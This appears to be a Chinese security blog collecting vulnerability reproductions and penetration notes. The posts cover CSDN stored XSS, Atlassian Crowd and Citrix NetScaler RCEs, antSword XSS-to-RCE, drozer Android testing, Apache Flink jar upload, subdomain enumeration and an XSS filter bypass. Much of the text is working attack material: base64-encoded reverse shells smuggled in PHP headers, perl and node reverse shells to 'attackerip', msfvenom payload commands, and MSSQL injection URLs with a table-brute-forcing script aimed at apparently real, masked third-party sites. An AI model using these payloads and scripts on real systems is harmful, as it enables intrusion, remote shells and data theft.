Author:LSA

CSDN 存储型XSS分析

20190724,网上传出csdn貌似有存储型XSS,弹框链接: https://bbs.csdn.net/topics/390816889 解码是”提交成功” 搜索这个词 抓包判断该post包触发弹窗 尝试修改响应包 请求 https://bbs.csdn.net/topics/390816889 会发请求 GET /redisData/baiduLandingWord?url=https://bbs.csdn.net/topics/390816889&size=1 HTTP/1.1 Host: redisdatarecall.csdn.net Connection: close Accept: application/json, text/javascript, */*; q=0.01 Origin: https://bbs.csdn.net User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 Referer: https://bbs.csdn.net/topics/390816889 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 这个请求是在百度站内查询 再请求,将查询内容写入redis 再请求,返回了推荐的关联帖子的内容,内容(‘提交成功’)经过了html实体编码,引号还原了。(不确定……) 该返回造成弹窗。 触发流程: 1.发布帖子写入payload(如Response.Write(“<script>alert(‘提交成功!’);window.location.href=window.location.href;window.opener.location=window.opener.location;</script>”);) 2.百度搜索引擎爬到该payload帖子。 3.某相关话题帖子推荐到payload帖子,加载到某相关话题帖子的页面。 4.触发payload。   相关链接 https://redisdatarecall.csdn.net/redisData/baiduLandingWord?url=https://bbs.csdn.net/topics/390816889&size=1 https://event.csdn.net/logstores/csdn-pc-tracking-page-exposure/track https://zhannei-dm.csdn.net/recommend/baidu_zhannei_search?keyword=%E5%85%B3%E4%BA%8Ewindow.location.href%E7%9A%84xss https://recsidebar.csdn.net/getSideBarRecommend.html   不确定分析的对不对,如有错漏,强烈建议指出…….

Atlassian Crowd and Crowd Data Center RCE 漏洞重现(CVE-2019-11580)

201907,网上爆出Atlassian Crowd and Crowd Data Center RCE 漏洞,重现一下。     curl -k -H “Content-Type: multipart/mixed” \ –form “file_cdl=@rce.jar” http://10.10.20.166:8095/crowd/admin/uploadplugin.action Installed plugin /opt/atlassian/crowd/apache-tomcat/temp/plugindev-1059463178748466378rce.jar https://github.com/jas502n/CVE-2019-11580  

antsword xss漏洞重现

0x00 概述 20190412,antsword的github上有个issus https://github.com/AntSwordProject/antSword/issues/147 因为toastr错误信息以html返回并且没有严格过滤导致xss,新版本修复不支持html。 比较有趣,重现一下   0x01 漏洞重现 环境:win7+phpstudy(php5.6.27-nts)+perl+nc+antsword2.0.5 1) XSS xss webshell: <?php header(‘HTTP/1.1 500 <img src=# onerror=alert`x`>’);   2) RCE win+nodejs 成功反弹shell。 var net = require(“net”), sh = require(“child_process”).exec(“cmd.exe”); var client = new net.Socket(); client.connect(6677, “127.0.0.1”, function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);}); <?php header(“HTTP/1.1 500 Not <img src=# onerror=’eval(new Buffer(`dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCg2Njc3LCAiMTI3LjAuMC4xIiwgZnVuY3Rpb24oKXtjbGllbnQucGlwZShzaC5zdGRpbik7c2guc3Rkb3V0LnBpcGUoY2xpZW50KTsKc2guc3RkZXJyLnBpcGUoY2xpZW50KTt9KTs=`,`base64`).toString())’>”); ?>   未成功的组合: win+perl perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”attackerip:443″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’ # Win 平台 perl -MIO -e ‘$c=new IO::Socket::INET(PeerAddr,”attackerip:4444″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’ <?php header(“HTTP/1.1 406 Not <img src=# onerror=’eval(new Buffer(`cmVxdWlyZSgmIzM5O2NoaWxkX3Byb2Nlc3MmIzM5OykuZXhlYygmIzM5O3BlcmwgLU1JTyAtZSBcJiMzOTskYz1uZXcgSU86OlNvY2tldDo6SU5FVChQZWVyQWRkciwiMTI3LjAuMC4xOjY2NzciKTtTVERJTi0mZ3Q7ZmRvcGVuKCRjLHIpOyR+LSZndDtmZG9wZW4oJGMsdyk7c3lzdGVtJF8gd2hpbGUmbHQ7Jmd0OztcJiMzOTsmIzM5OywoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0mZ3Q7ew0KICAgIGFsZXJ0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApOw0KICB9KTs=`,`base64`).toString())’>”); ?> require(‘child_process’).exec(‘perl -MIO -e \’$c=new IO::Socket::INET(PeerAddr,”127.0.0.1:6677″);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;\”,(error, stdout, stderr)=>{ alert(`stdout: ${stdout}`); }); Linux+perl 反弹 未测试 require(‘child_process’).exec(‘perl -e \’use Socket;$i=”127.0.0.1″;$p=6677;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/bash -i”);};\”,(error, stdout, stderr)=>{ alert(`stdout: ${stdout}`); }); <?php header(“HTTP/1.1 406 Not <img src=# onerror=’eval(new Buffer(`cmVxdWlyZSgmIzM5O2NoaWxkX3Byb2Nlc3MmIzM5OykuZXhlYygmIzM5O3BlcmwgLWUgXCYjMzk7dXNlIFNvY2tldDskaT0iMTI3LjAuMC4xIjskcD02Njc3O3NvY2tldChTLFBGX0lORVQsU09DS19TVFJFQU0sZ2V0cHJvdG9ieW5hbWUoInRjcCIpKTtpZihjb25uZWN0KFMsc29ja2FkZHJfaW4oJHAsaW5ldF9hdG9uKCRpKSkpKXtvcGVuKFNURElOLCImZ3Q7JlMiKTtvcGVuKFNURE9VVCwiJmd0OyZTIik7b3BlbihTVERFUlIsIiZndDsmUyIpO2V4ZWMoIi9iaW4vYmFzaCAtaSIpO307XCYjMzk7JiMzOTssKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9Jmd0O3sNCiAgICBhbGVydChgc3Rkb3V0OiAke3N0ZG91dH1gKTsNCiAgfSk7`,`base64`).toString())’>”); ?> Linux+nodejs 未测试 var net = require(“net”), sh = require(“child_process”).exec(“/bin/bash”);var client = new net.Socket(); client.connect(6677, “127.0.0.1”, function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);}); <?php header(“HTTP/1.1 500 Not <img src=# onerror=’eval(new Buffer(`dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCIvYmluL2Jhc2giKTt2YXIgY2xpZW50ID0gbmV3IG5ldC5Tb2NrZXQoKTsNCmNsaWVudC5jb25uZWN0KDY2NzcsICIxMjcuMC4wLjEiLCBmdW5jdGlvbigpe2NsaWVudC5waXBlKHNoLnN0ZGluKTtzaC5zdGRvdXQucGlwZShjbGllbnQpOw0Kc2guc3RkZXJyLnBpcGUoY2xpZW50KTt9KTs=`,`base64`).toString())’>”); ?> var Process = window.parent.top.process.binding(‘process_wrap’).Process;var proc = new Process(); proc.onexit = function (a, b) {};var env = window.parent.top.process.env;var env_ = [];for (var key in env) env_.push(key + ‘=’ + env[key]); proc.spawn({ file: ‘cmd.exe’, args: [‘/k……

利用drozer测试安卓四大组件

0x00 安装drozer windows: 在github下载msi安装文件执行,装在local disk python27下。 pip install protobuf pyOpenSSL Twisted service_identity 下载drozer agent https://github.com/mwrlabs/drozer/releases/download/2.3.4/drozer-agent-2.3.4.apk adb.exe install drozer-agent.apk adb.exe install test.apk 开启drozer-agent enable adb forward tcp:31415 tcp:31415 cd C:\python27\scripts: drozer console connect      0x01 Activity PWList的activity设置为了true,有被导出风险。 未授权访问 dz> run app.activity.start –component com.mwr.example.sieve com.mwr.example.sieve.PWList   0x02 Broadcast receiver的exported未设置,可被利用。   发送恶意广播 run app.broadcast.send –action org.owasp.goatdroid.fourgoats.SOCIAL_SMS –extra string phoneNumber 1234 –extra string message pwnd dos造成崩溃 run app.broadcast.send –action org.owasp.goatdroid.fourgoats.SOCIAL_SMS     0x03 Service 没设置exported为false,默认可以导出。 启动GPS位置服务。 run app.service.start –action org.owasp.goatdroid.fourgoats.services.LocationService –component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.services.LocationService     0x04 Content 列出可访问内容URI的列表和路径: SQL注入:   0x05 相关命令 run scanner.provider.finduris -a com.mwr.example.sieve run app.service.info -a org.owasp.goatdroid.fourgoats run app.service.start –action org.owasp.goatdroid.fourgoats.services.LocationService –component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.services.LocationService run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –projection “* FROM SQLITE_MASTER WHERE type=’table’;–” run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –projection “* FROM Key;–” run scanner.provider.injection -a com.mwr.example.sieve run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data run app.provider.info -a com.mwr.example.sieve run app.service.send com.mwr.example.sievecom.mwr.example.sieve.AuthService –msg 2354 9234 0 –extra stringcom.mwr.example.sieve.PIN 1234 –bundle-as-obj run app.provider.querycontent://com.mwr.example.sieve.DBContentProvider/Keys/  –projection “* from Passwords;–” run scanner.provider.traversal -a com.mwr.example.sieve   0x06 参考资料 https://www.freebuf.com/column/175218.html https://www.freebuf.com/articles/web/165466.html https://www.jianshu.com/p/dfa92bab3a55  

citrix netscaler网关RCE漏洞重现及分析(CVE-2019-19781)

0x00 概述 201912,网上爆出citrix网管的rce漏洞,具体细节已公开(20200111),此漏洞无需身份验证,影响较大(8w)。首先利用目录穿越(有限文件读取)写入恶意xml文件到特定目录,再利用模板解析造成rce。   0x01 漏洞重现       0x02 修复方案 参考官方 https://support.citrix.com/article/CTX267027   0x03 漏洞分析 //图片来自https://twitter.com/mpgn_x64 从HTTP_NSC_USER获取$username,变量的过滤被注释了…… UsersPrefs perl module: 所以攻击者可以控制$username,作为后续的xml文件名,比如设置成../../some/path造成目录穿越,导致写入到任意目录(./portal/templates/) 而且这个xml内容的title和desc可控 //所有调用这个csd方法的脚本(几乎所有)都会造成目录穿越,如新建书签。 newbm.pl : my $cgi = new CGI;print “Content-type: text/html\n\n”; my $user = NetScaler::Portal::UserPrefs->new(); my $doc = $user->csd(); … my $newurl = Encode::decode(‘utf8’, $cgi->param(‘url’)); my $newtitle = Encode::decode(‘utf8’, $cgi->param(‘title’)); my $newdesc = Encode::decode(‘utf8’, $cgi->param(‘desc’)); my $UI_inuse = Encode::decode(‘utf8’, $cgi->param(‘UI_inuse’)); … my $newBM = { url => $newurl, title => $newtitle, descr => $newdesc, UI_inuse => $UI_inuse, }; … if ($newBM->{url} =~ /^\/){ push @{$doc->{filesystems}->{filesystem}}, $newBM; } else { # bookmark push @{$doc->{bookmarks}->{bookmark}}, $newBM; }// Writing XML file to disk $user->filewrite($doc); 调用filewrite方法写入一些数据到$doc,即可控的文件名($username)。 当恶意的xml文件(Perl Template Toolkit)写入到./portal/templates/这个目录下,利用GET请求/vpn/../vpns/portal/zxcxz.xml就可以使模板工具包引擎加载解析这个恶意xml文件造成rce。 $doc就是$username,$tmplfile变量是从HTTP请求路径构造的,并为该文件构建并处理了一个新模板。   0x04 参考资料 https://twitter.com/mpgn_x64 https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/ https://github.com/jas502n/CVE-2019-19781

又又一次mssql注入

记一次mssql注入历程 又一次mssql注入历程   0x00 爆数据库 过滤了单引号,空格等 利用char,0x绕过,注意%2b编码 http://www.xxx.cn/xxxInfo.aspx?Id=-111/**/and/**/1=convert(int,((select/**/name/**/from/**/master.dbo.sysdatabases/**/where/**/dbid=5)))–     0x01 爆表名 http://www.xxx.cn/xxxInfo.aspx?Id=-111/**/and/**/1=convert(int,(select/**/top/**/1/**/name/**/from/**/jy..sysobjects/**/where/**/xtype=0x75/**/and/**/name/**/not/**/in(char(111)%2bchar(111)%2bchar(111)%2bchar(111)%2bchar(111)%2bchar(111)%2bchar(111)%2bchar(111))))– 写个脚本跑表 #coding:utf-8 #Author:LSA import sys import requests from bs4 import BeautifulSoup import re headers = { ‘Cookie’: ”, ‘User-Agent’: ‘Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36’ } global tables_name tables_name = “char(111)%2bchar(111)%2bchar(111)%2bchar(111)%2bchar(111)%2bchar(111)%2bchar(111)%2bchar(111)” #print tables_name def deal_table_name(table_name): xx = ” xxxx = ” for i in range(0,len(table_name)): xx = xx + str(ord(table_name[i])) + ‘ ‘ print xx xxx = xx[:-1].split(‘ ‘) print xxx for i in range(0,len(xxx)): xxxx = xxxx + ‘char(‘ + xxx[i] + ‘)’ + ‘%2b’ return xxxx[:-3] def brute_tables(url): for i in range(0,300): url = ‘http://www.xxx.cn/xxxInfo.aspx?Id=-111/**/and/**/1=convert(int,(select/**/top/**/1/**/name/**/from/**/jy..sysobjects/**/where/**/xtype=0x75/**/and/**/name/**/not/**/in(‘ + tables_name + ‘)))–‘ print url rsp = requests.get(url,headers=headers) soup = BeautifulSoup(rsp.text,”lxml”) title = soup.title.string #print title table_name = re.findall(r”‘(.*?)'”,title) print table_name[0] table_name = deal_table_name(table_name[0]) print table_name global tables_name tables_name = tables_name + ‘,’ + table_name #print tables_name print tables_name def main(url): brute_tables(url) if __name__ == ‘__main__’: url = ‘http://www.xxx.cn/xxxInfo.aspx?Id=-111/**/and/**/1=convert(int,(select/**/top/**/1/**/name/**/from/**/jy..sysobjects/**/where/**/xtype=0x75/**/and/**/name/**/not/**/in(‘ + tables_name + ‘)))–‘ main(url) 0x02 爆列名 http://www.xxx.cn/xxxInfo.aspx?Id=-111/**/and/**/1=convert(int,(select/**/top/**/1/**/COLUMN_NAME/**/from/**/jy.information_schema.columns/**/where/**/TABLE_NAME=char(85)%2bchar(115)%2bchar(101)%2bchar(114)%2bchar(115)/**/and/**/COLUMN_NAME/**/not/**/in(char(73)%2bchar(100))))–   0x03 爆数据 http://www.xxx.cn/xxxInfo.aspx?Id=-111/**/and/**/1=convert(int,(select/**/top/**/1/**/username/**/from/**/Users))–   0x04……

子域名收集方法汇总

0. dns zone transfer   1. HTTPS证书 https://transparencyreport.google.com/https/certificates https://censys.io/certificates?q=0sec.com.cn 查看https证书   2. 文件泄漏 crossdomain.xml robots.txt   3. 搜索引擎 shadon site:xxx.com   4. 在线工具 云悉 https://crt.sh/ https://dnsdumpster.com/ https://x.threatbook.cn/ http://tool.chinaz.com/subdomain/ https://spyse.com/site/not-found?q=domain%3A%22github%22&criteria=cert   5. 挖掘工具 layer,subdomainbrute等等     6. 数据聚合网站 threatcrowd https://scans.io/study/sonar.rdns_v2 https://opendata.rapid7.com/   7. 子域名监控 sublert/get_domain/assetnote/LangSrcCurise   8. 其他 流量(burp插件domain_hunter) github  

又一次mssql注入历程

//记一次mssql注入历程 0x00 前置知识 先梳理连接数据库用户名,当前数据库用户名,数据库服务器角色,数据库角色的概念   数据库用户名 user—连接数据库用户名(登录名) –user() user_name()—连接数据库用户名(登录名) suser_sname()—当前数据库用户名 system_user—当前数据库用户名 如果看到dbo 那么多半当前数据库的用户是dba权限。   数据库服务器角色 ?id=8 and 1=CONVERT(int,(SELECT is_srvrolemember(‘sysadmin’)))– ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘sysadmin’));– ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘serveradmin’));– ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘setupadmin’));– ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘securityadmin’));– ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘diskadmin’));– ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘bulkadmin’));– 固定服务器角色 固定服务器角色具有一组固定的权限,并且适用于整个服务器范围。 它们专门用于管理 SQL Server,且不能更改分配给它们的权限。 可以在数据库中不存在用户帐户的情况下向固定服务器角色分配登录。 说    明 Sysadmin sa登录永远是固定服务器角色syadmin中的成员,并且不能从该角色中删除 执行SQL Server中的任何动作   serveradmin 配置服务器设置   setupadmin 安装复制和管理扩展过程   securityadmin 管理登录和CREATE DATABASE的权限以及阅读审计   processadmin 管理SQL Server进程   dbcreator 创建和修改数据库   diskadmin 管理磁盘文件   数据库角色 ?id=1 and 1=(SELECT IS_MEMBER(‘db_owner’));–   固定数据库角色 固定数据库角色具有一组预定义的权限,这些权限旨在允许您轻松管理权限组。 db_owner 角色的成员可对数据库执行所有配置和维护活动。   说    明 db_owner 可以执行数据库中技术所有动作的用户   db_accessadmin 可以添加、删除用户的用户   db_datareader 可以查看所有数据库中用户表内数据的用户   db_datawriter 可以添加、修改或删除所有数据库中用户表内数据的用户   db_ddladmin 可以在数据库中执行所有DDL操作的用户   db_securityadmin 可以管理数据库中与安全权限有关所有动作的用户   db_backoperator 可以备份数据库的用户(并可以发布DBCC和CHECKPOINT语句,这两个语句一般在备份前都会被执行)   db_denydatareader 不能看到数据库中任何数据的用户   db_denydatawriter 不能改变数据库中任何数据的用户   要使用数据库对象,必须将登录映射到数据库用户帐户。 dbo 或数据库所有者是具有在数据库中执行所有活动的默示权限的用户帐户。 sysadmin 固定服务器角色的成员会自动映射到 dbo   数据库登录名-数据库服务器角色(sa-sysadmin) 当前数据库用户名-数据库角色(dbo-db_owner) 一般sa-dbo   SQLSERVER就象一栋大楼,里面的每个房间都是一个数据库.登录名只是进入大楼的钥匙,而用户名则是进入房间的钥匙.一个登录名可以有多 个房间的钥匙.SQLSERVER把登录名与用户名的关系称为映射. —忘记出自哪篇文章了,比较形象。   0x01 起源 时间盲注 dbo用户   这下应该没啥曲折吧 继续开存储过程弹shell看看 没反应…….盲注爆数据太慢,算了收工。 猜测第一个表长度 http://www.xxx.com/Newslist.aspx?classid=2;if(select%20count(*)%20from%20sysobjects%20where%20name%20in%20(select%20top%201%20name%20from%20sysobjects%20where%20xtype=’u’)%20And%20(len(name))>11)=1%20waitfor%20delay%20’0:0:2’%20–   猜测第一个表第一个字母 http://www.xxx.com/Newslist.aspx?classid=2;if(select%20count(*)%20from%20sysobjects%20where%20name%20in%20(select%20top%201%20name%20from%20sysobjects%20where%20xtype=’u’)%20And%20ascii(substring(name,1,1))=75)=1%20waitfor%20delay%20’0:0:2’%20–   以此类推 猜列名 .aspx?id=1′;if(Ascii(substring((select top 1 column_name from information_schema.columns where table_name=’admin’),1,1)))>80 ‘0:0:5’%20–%20 猜密码 .aspx?id=1′;if(ascii(substring((select top 1 Password from admin),1,1)))>1 waitfor delay ‘0:0:5’%20–%20   0x02 参考资料 https://blog.csdn.net/e_online/article/details/4597957

Apache flink任意jar上传导致rce漏洞重现

0x00 概述 20191111,网上爆出Apache Flink上传jar包导致远程代码执行的漏洞(安全工程师Henry Chen披露)。因为Apache Flink Dashboard 默认无需认证即可访问,所以可以上传恶意jar包并触发恶意代码执行,从而getshell。 影响范围<= 1.9.1   0x01 漏洞重现 “apache-flink-dashboard” 1)利用MSF msfvenom -p java/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=7766 W >poc.jar 2)利用nc msfvenom -p java/shell_reverse_tcp lhost=1.2.3.4 lport=7766 -f jar > poc.jar   0x02 防御方案 1.设置防火墙策略,仅允许白名单ip访问 apache flink。 2.Web代理(如apache httpd)中增加对该服务的digest认证。 3.关注官网新版本或补丁更新。        

一次xss fuzz绕过防护

  经测试双写,大小写,url编码,超长字符串等都无法绕过 fuzz html tag 大部分标签都可用,就选p标签吧 系统过滤了一些on事件,再fuzz html onevent 还是有大部分可用 尝试<p%20onmouseout=alert`x`>xss</p> 经测试,系统过滤了一些关键字如下 href src alert confirm prompt javascript script 直接unicode编码alert 构造poc “><p onmouseout=\u0061\u006c\u0065\u0072\u0074`x`>xss</p> 成功弹窗